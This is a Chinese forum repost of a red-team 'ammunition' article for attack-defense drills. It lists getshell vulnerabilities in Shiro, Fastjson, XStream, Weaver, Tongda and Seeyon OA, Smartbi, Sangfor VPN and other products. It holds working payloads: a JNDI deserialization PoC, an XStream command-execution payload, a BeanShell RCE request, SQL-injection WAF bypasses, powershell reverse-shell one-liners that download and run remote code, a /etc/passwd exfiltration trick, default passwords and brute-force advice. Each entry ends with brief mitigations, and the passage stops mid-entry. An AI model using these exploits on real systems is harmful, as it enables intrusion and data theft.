本帖最后由 oldmoon 于 2020-5-1 23:38 编辑
转载自微信公众号：斗象智能安全
原文链接：https://blog.riskivy.com/2020%e6%94%bb%e9%98%b2%e6%bc%94%e7%bb%83%e5%bc%b9%e8%8d%af%e5%ba%93-%e6%82%a8%e6%9c%89%e4%b8%bb%e6%9c%ba%e4%b8%8a%e7%ba%bf%e8%af%b7%e6%b3%a8%e6%84%8f/?from=timeline&isappinstalled=0
第一节
各小伙伴们, 安全界一年一度的激动人心的攻防演练盛况即将来临，这里给大家准备些弹药, 主要是近些年的可以进后台/getshell的漏洞, 漏洞太多难免疏漏.
基本都是常规操作加一点小技巧, 本文涉及所有漏洞均是公开信息, 大部分漏洞均分析过或实践过, 如有错误欢迎【斧】正, 如有补充也欢迎评论留言.
另外, 有些漏洞没有找到外部公开信息, 考虑涉及相关法律法规, 不宜披露, 请见谅. 想深度交流的欢迎沟通.
由于本文长度接近四万字, 所以采取分篇连载.
Apache Shiro RememberMe 反序列化导致的命令执行漏洞 (Shiro-550, CVE-2016-4437)1. 漏洞简介 Apache Shiro 是企业常见的Java安全框架, 其漏洞在2019年攻防演练中起到显著作用 2. 影响组件 Apache Shiro (由于密钥泄露的问题, 部分高于1.2.4版本的Shiro也会受到影响) 3. 漏洞指纹 set-Cookie: rememberMe=deleteMe
或者URL中有shiro字样
有一些时候服务器不会主动返回 rememberMe=deleteMe, 直接发包即可 4. Fofa Dork app="Apache-Shiro" 5. 漏洞分析 6. 漏洞利用 7. 利用技巧 1.使用多个泄露的key进行遍历, 这个在实战中确实有效 2.使用 URLDNS 进行检测提速 使用适应性最强的URLDNS(这个不受JDK版本和安全策略影响, 除非网络限制不能出DNS)进行检测 且可以使用ysoserial提前生成序列化内容 java -jar target/ysoserial-0.0.5-SNAPSHOT-all.jar URLDNS "http://1234567890.test.ceye.io" > urldns.ser 然后使用占位符+目标url hash的方法修改序列化内容中的urldns地址 提高检测速度以及后续检测无需使用ysoserial 例如 1234567890.test.ceye.io 可以换成 md5('www.qq.com').hexdigest() [:10].test.ceye.io 也就是 9d2c68d82d.test.ceye.io 可以预先记录 hash 然后进行hash查表就可以知道是DNSLOG来自哪个目标, 性能会提高不少 3.已知目标使用了Shiro, 可以采取Shiro-721的报错逻辑来进行遍历key — 星光哥 这样即使DNS不能出网, 也可以通过是否返回 rememberMe=deleteMe 来断定 shiro key 的正确性, 前提是服务器有rememberMe=deleteMe相关回显 8. 防护方法 1.升级Shiro到最新版 2.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上 3.WAF拦截Cookie中长度过大的rememberMe值
Apache Shiro Padding Oracle Attack (Shiro-721)1. 漏洞简介 Apache Shiro 是企业常见的 Java安全框架, 由于Shiro使用AES-CBC模式进行加解密处理, 所以存在Padding Oracle Attack漏洞, 已经登录的攻击者同样可以进行反序列化操作 2. 影响组件 Apache Shiro < 1.4.2 3. 漏洞指纹 set-Cookie: rememberMe=deleteMe
URL中有shiro字样
有一些时候服务器不会主动返回 rememberMe=deleteMe, 直接发包即可 4. Fofa Dork app="Apache-Shiro" 5. 漏洞分析 6. 漏洞利用 7. 利用技巧 1.该漏洞需要登录后获取到合法的Cookie: rememberMe=XXX后才可以进行利用, 看起来不是很好利用 但实际上有一些网站是开放注册的, 而且这个洞不需要知道服务端密钥 所以后续的利用还是可以同Shiro-550一样利用, 而且这里是AES加密的, 自带过WAF属性 2.如果攻击没有生效, 可以试一下删除Cookie中的JSESSIONID 字段, 很多时候这个字段存在的话, 服务端不会去处理 rememberMe 8. 防护方法 1.升级Shiro到最新版 2.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上 3.WAF拦截Cookie中长度过大的rememberMe值 4.WAF拦截访问过于频繁的IP, 因为该漏洞需要爆破Cookie
Apache Shiro 权限绕过漏洞 (Shiro-682)1. 漏洞简介 Apache Shiro 是企业常见的Java安全框架, 由于Shiro的拦截器和spring(Servlet)拦截器对于URI模式匹配的差异, 导致出现鉴权问题 2. 影响组件 Apache Shiro < 1.5.2 3. 漏洞指纹 set-Cookie: rememberMe=deleteMe
或者URL中有shiro字样
有一些时候服务器不会主动返回 rememberMe=deleteMe, 直接发包即可 4. Fofa Dork app="Apache-Shiro" 5. 漏洞分析 6. 漏洞利用 7. 利用技巧 1.url中间可以尝试添加 ../ , 不限于这个漏洞, 可能会有惊喜, 错误的Nginx配置也会造成新的漏洞 关于url解析的问题可以参考以下链接 8. 防护方法 1.升级1.5.2版本及以上 2.尽量避免使用*通配符作为动态路由拦截器的URL路径表达式.
Fastjson 反序列化远程代码执行漏洞1. 漏洞简介 Fastjosn 无疑是这两年的漏洞之王, 一手反序列化RCE影响无数厂商, 目前1.2.48以下版本稳定受影响, 1.2.68以下版本开启Autotype会受到影响 (不排除传说中的1.2.67以下RCE漏洞, 期待八仙过海) 2. 影响组件 Fastjson < 1.2.48 (<1.2.68?) 3. 漏洞指纹 可以通过DNS回显的方式检测后端是否使用Fastjson - {"@type":"java.net.Inet4Address", "val":"dnslog"}
- {"@type":"java.net.Inet6Address", "val":"dnslog"}
- {"@type":"java.net.InetSocketAddress"{"address":, "val":"dnslog"}}
- {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
- {{"@type":"java.net.URL", "val":"dnslog"}:"aaa"}
- Set[{"@type":"java.net.URL", "val":"dnslog"}]
- Set[{"@type":"java.net.URL", "val":"dnslog"}
- {{"@type":"java.net.URL", "val":"dnslog"}:0
可以通过DOS时间延迟或者报错回显的方式检测 4. Fofa Dork 5. 漏洞分析 6. 漏洞利用 1.JDK降级编译 源项目中最后一句 当javac版本和目标服务器差太多, 会报一个这样得到错误, 所以需要使用1.8的javac来编译Exploit.java
这里并不需要更换jdk版本, 我们可以使用JDK降级编译的手法, 这样1.8的jdk也可以编译出来1.7版本的.class , 相信可以解决很多小伙伴的问题 javac -source 1.7 -target 1.7 Exploit.java 1.2.47版本以下通杀Poc: {"name":{"@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"}, "f":{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://asdfasfd/", "autoCommit":true}}, age:11} 其中{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://asdfasfd/", "autoCommit":true}也可以替换成其他利用链 2.优先使用LDAP协议 根据实战中经验, 这里更推荐使用ldap协议进行漏洞利用, 原因如下 RMI协议的利用方式 在JDK 6u132/7u122/8u113 及以上版本中修复了
LDAP协议的利用方式 在JDK 6u211/7u201/8u191 及以上版本中修复了
所以,LDAP的利用方式要优于RMI, 且LDAP可以直接返回序列化对象, 绕过更高版本的JDK限制 7. 利用技巧 1.如何查看服务器的jdk版本呢, 这里也有个小技巧 nc -lvvp 80#[marshalsec中指定的HTTP端口] 当服务器连接过来时, User-Agent中会标明当前服务器的JDK版本 2.当发现一台Redis的数据中有@type字样时, 意味着autotype大概率是开的, 只要不存在黑名单中的利用链都可以用#[同理可以用在jackson上] - public class GenericFastJsonRedisSerializer implements RedisSerializer<Object> {
- private final static ParserConfig defaultRedisConfig = new ParserConfig();
- static { defaultRedisConfig.setAutoTypeSupport(true);}
其他消息队列之类的都是同理 8. 防护方法 1.升级Fastjson到最新版(>=1.2.68 新增了safemode, 彻底关闭autotype)
2.WAF拦截过滤请求包中的 @type, %u0040%u0074%u0079%u0070%u0065, \u0040type, \x04type 等多种编码的autotype变形 3.最少升级到1.2.48以上版本且关闭autotype选项 4.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上
Jackson 反序列化远程代码执行漏洞1. 漏洞简介 Jackson 跟Fastjson一样, 当enableDefaultTyping开启时, 也是可以进行反序列化到代码执行 2. 影响组件
Jackson 3. 漏洞指纹 4. Fofa Dork 5. 漏洞分析 跟Fastjson漏洞原理都是一样的, 每次修复基本都是更新黑名单, 漏洞分析可以参考 6. 漏洞利用 POC ["ch.qos.logback.core.db.JNDIConnectionSource", {"jndiLocation":"ldap://localhost:43658/Calc"}] 7. 利用技巧 1.把Fastjson的利用链拿过来改一改就可以用, 前提是环境中存在可用的利用链 8. 防护方法 1.升级Jackson到最新版(enableDefaultTyping默认都是关的, 问题不大) 2.确保enableDefaultTyping是关闭的 3.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上
Xstream 反序列化漏洞1. 漏洞简介 Xstream Java 中经常用于处理 xml 的库, 最近一次修复中(1.4.10版本)重现了历史反序列化远程代码执行漏洞, 所以也需要关注 2. 影响组件 Xstream <1.4.6, =1.4.10 3. 漏洞指纹 xml 4. Fofa Dork 5. 漏洞分析 6. 漏洞利用 - import com.thoughtworks.xstream.XStream;
- import java.io.IOException;
- public class Main {
- // POC1
- public static void main(String[] args) throws IOException {
- XStream xStream = new XStream();
- String payload = "<sorted-set>\n" +
- " <string>foo</string>\n" +
- " <dynamic-proxy>\n" +
- " <interface>java.lang.Comparable</interface>\n" +
- " <handler class="java.beans.EventHandler">\n" +
- " <target class="java.lang.ProcessBuilder">\n" +
- " <command>\n" +
- " <string>cmd.exe</string>\n" +
- " <string>/c</string>\n" +
- " <string>calc</string>\n" +
- " </command>\n" +
- " </target>\n" +
- " <action>start</action>"+
- " </handler>\n" +
- " </dynamic-proxy>\n" +
- "</sorted-set>\n";
- //POC2
- // String payload = "<java.util.PriorityQueue serialization="custom">\n" +
- // " <unserializable-parents/>\n" +
- // " <java.util.PriorityQueue>\n" +
- // " <default>\n" +
- // " <size>2</size>\n" +
- // " <comparator class="org.apache.commons.beanutils.BeanComparator">\n" +
- // " <property>databaseMetaData</property>\n" +
- // " <comparator class="java.util.Collections$ReverseComparator"/>\n" +
- // " </comparator>\n" +
- // " </default>\n" +
- // " <int>3</int>\n" +
- // " <com.sun.rowset.JdbcRowSetImpl serialization="custom">\n" +
- // " <javax.sql.rowset.BaseRowSet>\n" +
- // " <default>\n" +
- // " <concurrency>1008</concurrency>\n" +
- // " <escapeProcessing>true</escapeProcessing>\n" +
- // " <fetchDir>1000</fetchDir>\n" +
- // " <fetchSize>0</fetchSize>\n" +
- // " <isolation>2</isolation>\n" +
- // " <maxFieldSize>0</maxFieldSize>\n" +
- // " <maxRows>0</maxRows>\n" +
- // " <queryTimeout>0</queryTimeout>\n" +
- // " <readOnly>true</readOnly>\n" +
- // " <rowSetType>1004</rowSetType>\n" +
- // " <showDeleted>false</showDeleted>\n" +
- // " <dataSource>ldap://ip:1389/Object</dataSource>\n" +
- // " <params/>\n" +
- // " </default>\n" +
- // " </javax.sql.rowset.BaseRowSet>\n" +
- // " <com.sun.rowset.JdbcRowSetImpl>\n" +
- // " <default>\n" +
- // " <iMatchColumns>\n" +
- // " <int>-1</int>\n" +
- // " <int>-1</int>\n" +
- // " <int>-1</int>\n" +
- // " <int>-1</int>\n" +
- // " <int>-1</int>\n" +
- // " <int>-1</int>\n" +
- // " <int>-1</int>\n" +
- // " <int>-1</int>\n" +
- // " <int>-1</int>\n" +
- // " <int>-1</int>\n" +
- // " </iMatchColumns>\n" +
- // " <strMatchColumns>\n" +
- // " <string>foo</string>\n" +
- // " <null/>\n" +
- // " <null/>\n" +
- // " <null/>\n" +
- // " <null/>\n" +
- // " <null/>\n" +
- // " <null/>\n" +
- // " <null/>\n" +
- // " <null/>\n" +
- // " <null/>\n" +
- // " </strMatchColumns>\n" +
- // " </default>\n" +
- // " </com.sun.rowset.JdbcRowSetImpl>\n" +
- // " </com.sun.rowset.JdbcRowSetImpl>\n" +
- // " <com.sun.rowset.JdbcRowSetImpl reference="../com.sun.rowset.JdbcRowSetImpl"/>\n" +
- // " </java.util.PriorityQueue>\n" +
- // "</java.util.PriorityQueue>";
- xStream.fromXML(payload);
- }
- }
7. 利用技巧 1.这里 Xstream 同样影响很多使用它的开源组件, 比如Spring系列 2.xml 不仅可以xxe, 还能反序列化代码执行 2.xxe 漏洞用 xxer, 方便快捷 TheTwitchy/xxer: A blind XXE injection callback handler. Uses HTTP and FTP to extract information. Originally written in Ruby by ONsec-Lab.
https://github.com/TheTwitchy/xxer 8. 防护方法 1.升级到最新版
泛微OA Bsh 远程代码执行漏洞1. 漏洞简介 2019年9月17日泛微OA官方更新了一个远程代码执行漏洞补丁, 泛微e-cology OA系统的Java Beanshell接口可被未授权访问, 攻击者调用该Beanshell接口, 可构造特定的HTTP请求绕过泛微本身一些安全限制从而达成远程命令执行, 漏洞等级严重. 2. 影响组件
泛微OA 3. 漏洞指纹 Set-Cookie: ecology_JSessionId= ecology /weaver/bsh.servlet.BshServlet 4. Fofa Dork app="泛微-协同办公OA" 5. 漏洞分析 6. 漏洞利用 - POST /weaver/bsh.servlet.BshServlet HTTP/1.1
- Host: xxxxxxxx:8088
- Accept: */*
- Accept-Language: en
- User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
- Connection: close
- Content-Length: 98
- Content-Type: application/x-www-form-urlencoded
- bsh.script=eval%00("ex"%2b"ec("whoami")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw
7. 利用技巧 1.其他形式绕过 eval%00("ex"%2b"ec(\"whoami\")"); 也可以换成 ex\u0065c("cmd /c dir"); 2.泛微多数都是windows环境, 反弹shell可以使用pcat powershell IEX(New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c ip -p 6666 -e cmd 8. 防护方法 1.及时更新泛微补丁 2.拦截/weaver/bsh.servlet.BshServlet目录的访问
泛微OA e-cology SQL注入漏洞1. 漏洞简介 2. 影响组件 泛微OA 3. 漏洞指纹 Set-Cookie: ecology_JSessionId= ecology WorkflowCenterTreeData /mobile/plugin/SyncUserInfo.jsp 4. Fofa Dork app="泛微-协同办公OA" 5. 漏洞分析 6. 漏洞利用 /mobile/plugin/SyncUserInfo.jsp 这个也是有问题的, 但由于没有公开的分析报告, 漏洞相对简单, 这里不过多描述 7. 利用技巧 1.在这个漏洞补丁之前大概有几十个前台注入, 都差不多, 因为没公开这里就不细说了 2.泛微的补丁中间改过一次过滤策略, 打完所有补丁的话, 注入就很难了 3.这里可以绕过的原因是泛微某个过滤器初始化错误, 当长度超过xssMaxLength=500的时候就不进入安全检测, 修复以后是xssMaxLength=1000000, 所以随便你填充%0a%0d还是空格都可以绕过注入检测 4.泛微后端数据库版本存在差异, 但是可以通用检测 已知泛微OA E8存在2个版本的数据库, 一个是mssql, 一个是oracle, 且新旧版本泛微的sql过滤方法并不一致 所以这里筛选出一个相对通用的检测手法(下面代码是python的" "*800 800个空格) "-1) "+" "*800+ "union select/**/1, Null, Null, Null, Null, Null, Null, Null from Hrmresourcemanager where loginid=('sysadmin'" 老版本可以在关键字后面加 /**/ 来绕过sql检测 新版本可以通过加入大量空格/换行来绕过sql检测 mssql, oracle中都有Hrmresourcemanager , 这是管理员信息表 就Hrmresource表中没有用户, Hrmresourcemanager 表中也一定会存在sysadmin账户 所以进行union select的时候一定会有数据 这里也可以使用 "-1) "+" "*800+ " or/**/ 1=1 and id<(5" 这里使用 <5 可以避免信息超过5条, 但是会返回密码等敏感信息, 不建议使用 8. 防护方法 1.及时更新泛微补丁
2.泛微最好不要开放到公网
3.使用waf拦击
泛微OA 数据库泄露漏洞1. 漏洞简介 2. 影响组件 泛微OA 3. 漏洞指纹 Set-Cookie: ecology_JSessionId= ecology /mobile/DBconfigReader.jsp 4. Fofa Dork app="泛微-协同办公OA" 5. 漏洞分析 6. 漏洞利用 7. 利用技巧 1.虽然是接口返回数据是加密的, 但是因为硬编码密钥的缘故, 解密也很简单, pydes就可以解密, 只是这里pydes本身有个bug, 修复方式 pyDes.des(' ')
2.这里解密出来的密码一般都是泛微默认的, 且数据库监听在127.0.0.1上, 用处看个人发挥了
3.此外泛微还有一些漏洞, 但是基本最新版都修复了, 由于没公开过, 就让他消失吧 8. 防护方法 1.及时更新泛微补丁 2.泛微最好不要开放到公网 3.使用waf拦截sql注入
通达OA 远程代码执行漏洞1. 漏洞简介 通达OA 在国内的用户也比较多, 虽说代码加了密, 奈何是Zend5.4, 解码很简单, 然后代码中的漏洞就很清楚, 尤其是变量覆盖和注入 2. 影响组件
通达OA 3. 漏洞指纹 "/images/tongda.ico"> Office Anywhere 20xx版 网络智能办公系统 /ispirit/interface/gateway.php 4. Fofa Dork app="通达OA" 5. 漏洞分析 6. 漏洞利用 7. 利用技巧 1.这个漏洞也很简单, 发预警的当天就分析出来了, 一个上传, 一个包含, 主要是文件包含漏洞的/ispirit/interface/gateway.php文件在v11才有 绕过disable_function也很简单, 直接调用COM('WScript.shell')组件就ok了 2.文件名结构规则如下 256@2003_ 2055499620|123. php. 对应文件名为 attach/im/2003/2055499620.123.php 因为是windows的, 1.php. 可以绕过黑名单, 写到文件就成了 1.php (这里是文件包含, 文件名无所谓) 3.2020年4月20号爆出任意用户伪造登录, 这里小伙伴测试 2017 和 v11 的 poc 好像可以用同一个 (我们看标题挖漏洞, 全网第一时间推送了带复现截图的漏洞通告, 也引发了大家不少讨论) 8. 防护方法 1.及时更新补丁 2.使用waf拦截
致远 OA A8 htmlofficeservlet getshell 漏洞1. 漏洞简介 致远 OA 在国内的用户也比较多, 2019年攻防演练暴出来 htmlofficeservlet getshell 漏洞 2. 影响组件
致远 OA 3. 漏洞指纹 /seeyon/htmlofficeservlet /seeyon/index.jsp seeyon 4. Fofa Dork app="用友-致远OA" 5. 漏洞分析 6. 漏洞利用 这里还有个XXE 7. 利用技巧 1.这个漏洞也挺有意思的, 这个接口是一个金格iweboffice用来处理文件的, 属于一个第三方接口暴露导致的安全问题 这个漏洞网传的脚本都是一个文件名test123456.jsp, 很容易被人锤啊 这里贴一个小脚本可以加解密文件名属性之类的, 算法也很简单, 漏洞通告的当天就写出来了, 就是一个换了码表的base64 - from sys import argv
- letters = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6"
- def base64_encode(input_str):
- str_ascii_list = ['{:0>8}'.format(str(bin(ord(i))).replace('0b', ''))
- for i in input_str]
- output_str = ''
- equal_num = 0
- while str_ascii_list:
- temp_list = str_ascii_list[:3]
- if len(temp_list) != 3:
- while len(temp_list) < 3:
- equal_num += 1
- temp_list += ['0' * 8]
- temp_str = ''.join(temp_list)
- temp_str_list = [temp_str[x:x + 6] for x in [0, 6, 12, 18]]
- temp_str_list = [int(x, 2) for x in temp_str_list]
- if equal_num:
- temp_str_list = temp_str_list[0:4 - equal_num]
- output_str += ''.join([letters[x] for x in temp_str_list])
- str_ascii_list = str_ascii_list[3:]
- output_str = output_str + '=' * equal_num
- return output_str
- def base64_decode(input_str):
- str_ascii_list = ['{:0>6}'.format(str(bin(letters.index(i))).replace('0b', ''))
- for i in input_str if i != '=']
- output_str = ''
- equal_num = input_str.count('=')
- while str_ascii_list:
- temp_list = str_ascii_list[:4]
- temp_str = ''.join(temp_list)
- if len(temp_str) % 8 != 0:
- temp_str = temp_str[0:-1 * equal_num * 2]
- temp_str_list = [temp_str[x:x + 8] for x in [0, 8, 16]]
- temp_str_list = [int(x, 2) for x in temp_str_list if x]
- output_str += ''.join([chr(x) for x in temp_str_list])
- str_ascii_list = str_ascii_list[4:]
- return output_str
- if __name__ == "__main__":
- if len(argv) == 2:
- print(base64_decode(argv[1]))
- elif len(argv) == 3:
- if argv[1] == '-d':
- print(base64_decode(argv[2]))
- else:
- print(base64_encode(argv[2]))
- else:
- print("Seeyon OA /seeyon/htmlofficeservlet param encode/decode")
- print("Usage:")
- print("python %s encoded_str" % argv[0])t
- print("python %s -d encoded_str" % argv[0])
- print("python %s -e raw_str" % argv[0])
8. 防护方法 1.及时更新补丁 2.使用waf拦截
[致远OA] 帆软报表 seeyonreport 远程代码执行1. 漏洞简介 帆软报表 (seeyonreport) 很多时候会跟合致远OA一起出现, 通常用户还不知道, 所以这里有几个漏洞点 2. 影响组件 帆软报表 seeyonreport 3. 漏洞指纹 seeyonreport 4. Fofa Dork app="用友-致远OA" 5. 漏洞分析 6. 漏洞利用 这里很有可能是没有设置密码的, 修改密码进入后台就可以了 如果设置里密码, 尝试这个接口 /report/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml, 读取管理员密码, 然后使用上文的解密程序解密 2.后台getshell
这种后台能装插件的都随便getshell 先去下载一个指定版本的jar包 本地测试环境是9.0 编译一个恶意的LocaleFinder.class打包进去 复制LocaleFinder.class到
\com.fr.plugin.external-1.3.4.zip\fr-plugin-external-1.3.4\fr-plugin-external-1.3.4.jar\com\fr\plugin\external\locale\ 进入到插件管理界面, 上传符合规范的jar包插件即可
没生效就访问一下 https://xxxx/seeyonreport/ReportServer?op=im 一般后台都是win, 可以直接使用powershell进行反弹shell powershell IEX(New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c vps_ip -p 6666 -e cmd 8. 防护方法 1.及时更新补丁 2.使用waf拦截
Smartbi 前台SQL注入1. 漏洞简介 Smartbi /vision/RMIServlet 接口存在SQL注入, 无需身份认证的攻击者可利用该漏洞查看数据库中的敏感信息或删除任意用户. 2. 影响组件
Smartbi 3. 漏洞指纹 SmartBi 4. Fofa Dork app="Smartbi" 5. 漏洞分析 漏洞文件
vision/userListManager.jsp - function doDel(){
- var ids = [];
- // 全选
- if($("#checkAll").checked){
- if(curRows){
- curRows.forEach(function(val, index){
- ids.push(val.id);
- });
- }
- }else{
- if(curRows){
- $("[name='checkTr']").each(function(){
- if(this.checked){
- ids.push(this.id);
- }
- });
- }
- }
- if(ids && ids.length > 0){
- if(!canOpt()){
- alert("<%=StringUtil.getLanguageValue("Youdonothavepermissiontodoso")%>");
- return;
- }
- var msg = "<%=StringUtil.getLanguageValue("Suredelete?")%>";
- var flags = modalWindow.MB_YESNO | modalWindow.MB_ICONQUESTION;
- alert(msg, "<%=StringUtil.getLanguageValue("Removetips")%>", flags, function(ret) {
- if (ret == modalWindow.ID_YES) {
- var ret = jsloader.resolve("freequery.common.util").remoteInvokeEx2("BIConfigService", "delUsers", [ids]);
- if(ret && ret.result == 1){
- alert("<%=StringUtil.getLanguageValue("Deletedsuccessfully")%>");
- refresh();
- }
- }
- }, this);
- }else{
- alert("<%=StringUtil.getLanguageValue("Noselectedobjectyouwanttodelete")%>");
- }
- }
smartbi/WEB-INF/lib/smartbi-BIConfig.jar!/smartbi/config/BIConfigService.class - public int delUsers(List<String> ids) {
- boolean succ = true;
- String idStr = "";
- if (ids != null && ids.size() > 0) {
- for(int i = 0; i < ids.size(); ++i) {
- if (i == 0) {
- idStr = "('" + (String)ids.get(i) + "'";
- } else {
- idStr = idStr + ", " + "'" + (String)ids.get(i) + "'";
- }
- }
- idStr = idStr + ")";
- Connection conn = null;
- PreparedStatement prep = null;
- Object rs = null;
- try {
- conn = DbUtil.getRepoConnection();
- conn.setAutoCommit(false);
- String sqlUser = "delete from t_user where c_userid in " + idStr;
- String sqlUserAttr = "delete from t_userattr where c_userid in " + idStr;
- String sqlUserconfig = "delete from t_userconfig where c_userid in " + idStr;
- String sqlUserRole = "delete from t_user_role where c_userid in " + idStr;
- String sqlUserGroup = "delete from t_group_user where c_userid in " + idStr;
- prep = conn.prepareStatement(sqlUser);
- prep.execute();
- prep = conn.prepareStatement(sqlUserAttr);
- prep.execute();
- prep = conn.prepareStatement(sqlUserconfig);
- prep.execute();
- prep = conn.prepareStatement(sqlUserRole);
- prep.execute();
- prep = conn.prepareStatement(sqlUserGroup);
- prep.execute();
- conn.commit();
- } catch (Exception var17) {
- try {
- succ = false;
- conn.rollback();
- } catch (SQLException var16) {
- throw new SmartbiException(ConfigErrorCode.DELETE_FAILED, var17);
- }
- throw new SmartbiException(ConfigErrorCode.DELETE_FAILED, var17);
- } finally {
- DbUtil.closeDBObject((ResultSet)rs, prep, conn);
- }
- return succ ? 1 : 0;
- } else {
- return 1;
- }
- }
6. 漏洞利用 这里是delete 注入, 不建议使用, 没看到有公开的利用信息, 就不写EXP了 7. 利用技巧 1.RMIServlet加解密代码 虽然利用不能写EXP, 这里写一个RMIServlet 的加解密代码 - ENCODING_SCHEDULE = {
- "0": "7", "1": "1", "2": "u", "3": "N", "4": "K", "5": "J", "6": "M", "7": "9", "8": "'", "9": "m", "!": "P",
- "%": "/", "'": "n", "(": "A", ")": "E", "*": "s", "+": "+", "-": "f", ".": "q", "A": "O", "B": "V", "C": "t",
- "D": "T", "E": "a", "F": "x", "G": "H", "H": "r", "I": "c", "J": "v", "K": "l", "L": "8", "M": "F", "N": "3",
- "O": "o", "P": "L", "Q": "Y", "R": "j", "S": "W", "T": "*", "U": "z", "V": "Z", "W": "!", "X": "B", "Y": ")",
- "Z": "U", "a": "(", "b": "~", "c": "i", "d": "h", "e": "p", "f": "_", "g": "-", "h": "I", "i": "R", "j": ".",
- "k": "G", "l": "S", "m": "d", "n": "6", "o": "w", "p": "5", "q": "0", "r": "4", "s": "D", "t": "k", "u": "Q",
- "v": "g", "w": "b", "x": "C", "y": "2", "z": "X", "~": "e", "_": "y",
- }
- DECODING_SCHEDULE = {
- "7": "0", "1": "1", "u": "2", "N": "3", "K": "4", "J": "5", "M": "6", "9": "7", "'": "8", "m": "9", "P": "!",
- "/": "%", "n": "'", "A": "(", "E": ")", "s": "*", "+": "+", "f": "-", "q": ".", "O": "A", "V": "B", "t": "C",
- "T": "D", "a": "E", "x": "F", "H": "G", "r": "H", "c": "I", "v": "J", "l": "K", "8": "L", "F": "M", "3": "N",
- "o": "O", "L": "P", "Y": "Q", "j": "R", "W": "S", "*": "T", "z": "U", "Z": "V", "!": "W", "B": "X", ")": "Y",
- "U": "Z", "(": "a", "~": "b", "i": "c", "h": "d", "p": "e", "_": "f", "-": "g", "I": "h", "R": "i", ".": "j",
- "G": "k", "S": "l", "d": "m", "6": "n", "w": "o", "5": "p", "0": "q", "4": "r", "D": "s", "k": "t", "Q": "u",
- "g": "v", "b": "w", "C": "x", "2": "y", "X": "z", "e": "~", "y": "_",
- }
- #此函数可以用来加密明文也可以解密服务器返回的密文
- def encode(code):
- out = ""
- for item in code:
- out = out + ENCODING_SCHEDULE.get(item, item)
- return out
- def decode(code):
- out = ""
- for item in code:
- out = out + DECODING_SCHEDULE.get(item, item)
- return out
2.该系统还有几处漏洞, 比如默认口令 - demo/demo
- manager/demo
- admin/admin
- admin/manager
- admin/2manager
3.默认路径 http://127.0.0.1:18080/smartbi/vision/config.jsp 可能未修改密码或者密码为manager 4.进入后台目录遍历 http://127.0.0.1:18080/smartbi/vision/chooser.jsp?key=CONFIG_FILE_DIR&root=C%3A%2F 同样是后台可以加载插件, 怎么getshell不用我多说了吧 8. 防护方法 1.及时更新补丁 2.使用强口令 3.版本最好为最新版8.5以上, v7还有其他漏洞
第二节本节主要是针对网络边界产品, VPN, 防火墙, 邮箱一类的相关漏洞, 属于典型灯下黑的情况, 厂商可能会忘记, 但是攻击者不会放过一丝一毫
深信服VPN远程代码执行1. 漏洞简介 深信服 VPN 某个特定产品存在远程代码执行, 2019 攻防演练使用过 2. 影响组件
深信服 VPN 3. 漏洞指纹 Set-Cookie: TWFID= welcome to ssl vpn Sinfor 4. Fofa Dork header="Set-Cookie: TWFID=" 5. 漏洞分析 6. 漏洞利用 wget -t %d -T %d --spider %s 7. 利用技巧 1.该版本深信服VPN属于相对早期的版本, 大概2008年左右, 但目前还有761个ip开放在公网 2.该版本较低, whomai不存在, 可以使用 uname, 这里没有空格可dns传出来 3.去除空格也简单 cat /etc/passwd | tr " \n" "+|" 8. 防护方法 1.及时更新补丁 2.升级到最新版
深信服 VPN 口令爆破1. 漏洞简介 深信服 VPN 针对口令爆破是5次错误锁定IP五分钟, 所以这里爆破也不是不行, 主要是测试常见弱口令以及分布式爆破也不是不行 2. 影响组件
深信服 VPN 3. 漏洞指纹 /por/login_auth.csp?apiversion=1 sangfor /cgi-bin/login.cgi?rnd= 4. Fofa Dork app="深信服-SSL-VPN" 5. 漏洞分析 此处存疑, 时间问题没有测试 6. 漏洞利用 1.深信服VPN 口令爆破 demo (这里仅测试了M6,其他的应该差不多) - #encoding=utf8
- import requests
- import hashlib
- import urllib3
- urllib3.disable_warnings()
- import re
- session = requests.session()
- def SanForLogin(target, password, username="admin"):
- # 加密密码的算法是 sha1(password+sid)
- # 没有公开POC就不写了
- SanForLogin("https://xxxxxxxxxxx/", "admin")
7. 利用技巧 1.由于深信服涉及的版本跨度时间达十几年, 很多地方不一样, 但是总体都差不太多 国外APT组织应该也批量爆破了一波 加密的密码也就是 sha1(password+sid) 爆破也就锁一会ip, 夜里丢一边跑着就完事了, 弱口令也就那么些 admin/123456/Sangfor/Sangfor@123 2.如果爆破出来了管理员密码, 管理员后台有好多处命令注入, 比如升级工具, 这里讲起来应该是正常功能 3.去年传闻还有前台sql注入, 但是没拿到补丁, 手头没环境, 就没分析, 看一下乌云上的老洞吧 8. 防护方法 1.及时更新补丁 2.升级到最新版
Fortigate SSL VPN 文件读取/远程代码执行1. 漏洞简介 Fortigate SSL VPN 在全球用户量巨大, 去年橘子哥发现了文件读取和远程代码执行漏洞 2. 影响组件
